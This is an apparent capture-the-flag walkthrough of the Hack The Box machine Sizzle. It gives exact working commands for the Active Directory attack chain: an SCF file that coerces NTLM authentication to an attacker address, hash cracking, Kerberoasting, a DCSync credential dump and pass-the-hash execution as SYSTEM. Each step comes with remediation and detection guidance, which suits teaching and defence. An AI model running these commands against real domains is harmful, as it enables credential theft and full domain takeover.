← all walkthroughs

Sizzle

Windows· Insane
owned
2026-07-12
time to own
13m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned target $TARGET and found a Windows Server 2016 domain controller (SIZZLE, HTB.LOCAL) exposing SMB file shares, Kerberos, LDAP, IIS, and PowerShell Remoting. A subdirectory inside the 'Department Shares' SMB share accepted unauthenticated file writes; placing a weaponised SCF file there caused domain user amanda's workstation to automatically send her NTLMv2 credentials to a rogue listener. Offline cracking recovered her password, giving me authenticated LDAP and SMB access.

Domain enumeration revealed a second account, mrlky, carrying a Service Principal Name, making it vulnerable to Kerberoasting. I requested mrlky's Kerberos service ticket as amanda, cracked it offline, and recovered the password. ACL inspection of the domain root confirmed mrlky held Active Directory replication rights, so a single DCSync command extracted the Domain Administrator's full NTLM password hash.

That hash was passed directly to WMI execution on the domain controller, delivering unrestricted SYSTEM-level access and both flags without ever cracking the Administrator's password.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for amanda>"
export PASSWORD2="<the-password-you-recovered, for mrlky>"
export HASH="<the-hash-you-recovered, for Administrator>"

Attack path: how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped all exposed services and identified the Active Directory domain
A full TCP port scan of $TARGET revealed 22 open ports including SMB (445), LDAP (389/636), Kerberos (88/464), Microsoft IIS on HTTP and HTTPS (80/443), and PowerShell Remoting over SSL (5986). LDAP banner negotiation returned the domain name HTB.LOCAL and the machine hostname SIZZLE. An anonymous SMB walk confirmed the 'Department Shares' share was readable without credentials and contained user-writable subdirectories, making it an ideal target for NTLM coercion.
Smbmap -u guest showed 'Department Shares READ ONLY'.
Exact commands 4
shell

Full TCP port and service-version scan; captures all high-numbered ephemeral RPC ports.

$ nmap -sV -sC -p- --open -T4 $TARGET -oN sizzle-full.txt
shell

Anonymous SMB share enumeration to list accessible shares and permissions.

$ smbmap -H $TARGET -u '' -p '' --no-banner
shell

Confirm domain naming context (DC=HTB,DC=LOCAL) via anonymous LDAP.

$ ldapsearch -x -LLL -H ldap://$TARGET -b '' -s base namingContexts
shell

List the full directory tree of the share to find writable paths.

$ smbclient "//$TARGET/Department Shares" -N -c 'recurse ON; ls'
2Credential CaptureNTLM hash capture via SCF coercion artifact (T1187) + offline dictionary attack (T1110.002)
Planted an NTLM coercion file in the writable share to steal and crack amanda's password
A subdirectory inside 'Department Shares' (e.g., Users\Public) accepted file uploads without authentication. I started a rogue SMB listener (Responder) and uploaded a crafted Windows SCF file whose icon path pointed to $ATTACKER_IP. When any domain user browsed the directory in Windows Explorer, their workstation silently sent an NTLMv2 authentication challenge to the rogue server. The captured NTLMv2 response for amanda was cracked offline with hashcat against the rockyou wordlist, recovering the plaintext password in seconds.
Nxc validated the recovered credential: 'LDAP $TARGET 389 SIZZLE [+] HTB.LOCAL\amanda's password'; SMB also confirmed.
Exact commands 5
shell

Start rogue SMB/HTTP listener on tun0 to capture NTLMv2 hashes; run in background.

$ sudo responder -I tun0 -dwP
shell

Create the coercion SCF; replace $ATTACKER_IP with your tun0 address. Leading @ places it first alphabetically.

$ printf "[Shell]\nCommand=2\nIconFile=\\\\$ATTACKER_IP\\share\\icon.ico\n[Taskbar]\nCommand=ToggleDesktop\n" > @steal.scf
shell

Upload the SCF to the writable path; wait for Responder to log the NTLMv2 response.

$ smbclient "//$TARGET/Department Shares" -N -c 'cd Users\Public; put @steal.scf'
shell

Crack the captured NTLMv2 hash; mode 5600 is NetNTLMv2. Recovered: $PASSWORD.

$ hashcat -m 5600 amanda.hash /usr/share/wordlists/rockyou.txt --force
shell

Verify the cracked credential authenticates against SMB.

$ nxc smb $TARGET -d HTB.LOCAL -u amanda -p "$PASSWORD"
FixRemove unauthenticated write access from SMB shares and enforce SMB signing domain-wideHigh
WeaknessA subdirectory inside 'Department Shares' accepted file writes without credentials, letting an unauthorised user plant an SCF coercion file that silently harvested a domain user's NTLMv2 hash whenever any Windows user browsed the folder in Explorer. SMB signing was also not enforced, offering no network-layer protection against NTLM-based attacks.
FixAudit every share's DACL and remove write permissions for Everyone, Authenticated Users, and Domain Users; restrict write access to named accounts or tightly scoped security groups with a documented business need. Enable and enforce SMB signing on all domain controllers and member servers via Group Policy ('Microsoft network server: Digitally sign communications always = Enabled' and the matching client policy). Additionally, consider enabling LDAP channel binding and signing, blocking outbound SMB from workstations at the perimeter firewall, and deploying Extended Protection for Authentication (EPA) to prevent NTLM relay even when hashes are captured.
3EnumerationAuthenticated Active Directory enumeration via LDAP (T1069.002, T1087.002)
Enumerated domain users, Service Principal Names, and sensitive ACLs using amanda's credentials
With valid domain credentials, I queried LDAP to retrieve all user accounts, their SPNs, and group memberships. Seven accounts were found: Administrator, amanda, DefaultAccount, Guest, krbtgt, mrlky, and sizzler. Only mrlky carried a non-default SPN (http/sizzle), flagging it as a Kerberoasting target. An ACL inspection of the domain root object confirmed that mrlky held DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights: the permissions required to replicate password hashes via DCSync.
Ldapsearch as amanda returned users including 'mrlky http/sizzle' SPN; impacket-dacledit on DC=HTB,DC=LOCAL for mrlky's SID 'S-1-5-21-2379389067-1826974543-3574127760-1603' confirmed replication ACEs.
Exact commands 3
shell

Dump all user accounts, SPNs, and flags as amanda.

$ ldapsearch -x -LLL -H ldap://$TARGET -D 'amanda@HTB.LOCAL' -w "$PASSWORD" -b 'DC=HTB,DC=LOCAL' '(&(objectCategory=person)(objectClass=user))' sAMAccountName servicePrincipalName userAccountControl memberOf
shell

List all SPN-bearing accounts; mrlky http/sizzle is the only non-krbtgt result.

$ impacket-GetUserSPNs HTB.LOCAL/amanda:"$PASSWORD" -dc-ip $TARGET
shell

Confirm mrlky holds DS-Replication-Get-Changes ACEs on the domain root: the DCSync pre-requisite.

$ impacket-dacledit -action read -principal mrlky -target-dn 'DC=HTB,DC=LOCAL' -dc-ip $TARGET "HTB.LOCAL/amanda:$PASSWORD"
4Credential AccessKerberoasting (T1558.003)
Kerberoasted the mrlky service account and cracked its ticket to recover <withheld>
Any authenticated domain user can request a Kerberos service ticket (TGS) for any SPN-bearing account; the ticket is encrypted with that account's password hash and can be cracked entirely offline. I requested mrlky's TGS using amanda's credentials, saved it, and cracked it with hashcat against rockyou. The recovered password was confirmed by authenticating against both LDAP and SMB as mrlky.
Impacket-GetUserSPNs produced /tmp/mrlky.tgs (mrlky, SPN http/sizzle); nxc confirmed 'HTB.LOCAL\mrlky's password [+]' on LDAP and SMB.
Exact commands 3
shell

Request the Kerberos TGS-REP for mrlky; the hash is written to /tmp/mrlky.tgs.

$ impacket-GetUserSPNs HTB.LOCAL/amanda:"$PASSWORD" -dc-ip $TARGET -request-user mrlky -outputfile /tmp/mrlky.tgs
shell

Crack the RC4-encrypted TGS-REP hash (mode 13100 = krb5tgs); recovered: $PASSWORD2.

$ hashcat -m 13100 /tmp/mrlky.tgs /usr/share/wordlists/rockyou.txt --force
shell

Confirm mrlky's cracked credentials authenticate against the domain.

$ nxc ldap $TARGET -d HTB.LOCAL -u mrlky -p "$PASSWORD2"
FixReplace the kerberoastable mrlky service account with a Group Managed Service AccountHigh
WeaknessThe mrlky account was configured with a Service Principal Name (http/sizzle) and a human-chosen password weak enough to crack from its Kerberos service ticket in seconds. Any authenticated domain user can request that ticket without interacting with the target service, enabling fully offline cracking with no lockout risk.
FixMigrate the service that uses mrlky to a Group Managed Service Account (gMSA). Windows automatically rotates gMSA passwords to 120-character random values on a configurable schedule, making offline cracking computationally infeasible. Where a gMSA cannot be used immediately, enforce a minimum 30-character randomly generated password for all SPN-bearing accounts and rotate it at least every 90 days. As a detective control, alert on Event ID 4769 where encryption type is 0x17 (RC4): that pattern identifies Kerberoasting in flight against legacy-encryption service tickets.
5Privilege EscalationDCSync: Active Directory credential replication (T1003.006)
Ran DCSync as mrlky to extract the Domain Administrator's NTLM password hash
The DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights on the domain root, normally held only by domain controllers, allow any account to simulate a domain controller's replication request and receive every password hash in the directory. Using mrlky's cracked credentials, I ran impacket-secretsdump in DCSync mode, targeting only the Administrator account. The response returned the full NTLM hash for Administrator: <withheld>.
Impacket-secretsdump returned 'Administrator:500:<withheld>'; DRSUAPI method used.
Exact commands 1
shell

DCSync targeting only the Administrator account via DRSUAPI; returns LM:NTLM hash pair.

$ impacket-secretsdump -just-dc-user Administrator "HTB.LOCAL/mrlky:$PASSWORD2@$TARGET"
FixRevoke DCSync privileges from mrlky and restrict AD replication rights to domain controllers onlyCritical
WeaknessThe mrlky service account held DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights on the domain root object, granting it the same credential-replication capability as a domain controller. Once mrlky's weak password was cracked, a single command dumped every password hash in the domain without triggering account lockout or generating obvious alerts.
FixImmediately remove the replication ACEs from mrlky using Active Directory Users & Computers (Advanced Features → domain root Properties → Security) or the command 'dsacls "DC=HTB,DC=LOCAL" /D mrlky:CA;Replicating Directory Changes'. Perform a full audit of all non-domain-controller accounts holding these rights using BloodHound (mark 'DCSync' edges) or PowerView's Get-DomainObjectAcl piped through a filter for DS-Replication GUIDs. Restrict these rights strictly to DC computer accounts. As a detective control, alert on Windows Event ID 4662 (audit object access on the domain NC head) for non-DC principals: that is the canonical DCSync detection signal.
6Full CompromisePass-the-Hash via WMI (T1550.002)
Passed the Administrator NTLM hash to execute commands as SYSTEM and captured both flags
Windows authentication protocols accept an NTLM hash directly in place of a plaintext password (Pass-the-Hash), so no further cracking was needed. I used impacket-wmiexec to authenticate as Domain Administrator with the captured hash and execute arbitrary PowerShell on the domain controller as SYSTEM. Both the user and root flags were read from domain user desktops, confirming full domain control.
Impacket-wmiexec -hashes <withheld> HTB.LOCAL/Administrator@$TARGET executed successfully; both flag files returned content.
Exact commands 3
shell

Open interactive WMI shell as Domain Administrator using only the NTLM hash: no plaintext password required.

$ impacket-wmiexec -hashes $HASH "HTB.LOCAL/Administrator@$TARGET"
shell

Read user flag; actual -> <user.txt>

$ impacket-wmiexec -shell-type powershell -hashes $HASH "HTB.LOCAL/Administrator@$TARGET" 'Get-ChildItem C:\Users\*\Desktop\user.txt -Force -ErrorAction SilentlyContinue | Get-Content'
shell

Read root flag; actual -> <root.txt>

$ impacket-wmiexec -shell-type powershell -hashes $HASH "HTB.LOCAL/Administrator@$TARGET" 'Get-ChildItem C:\Users\*\Desktop\root.txt -Force -ErrorAction SilentlyContinue | Get-Content'

Attack patterns used

The transferable techniques behind this compromise.

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account, including krbtgt, without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

KerberoastingActive Directory · KerberosT1558.003

What it is

Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.

Why it works

Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).

Read more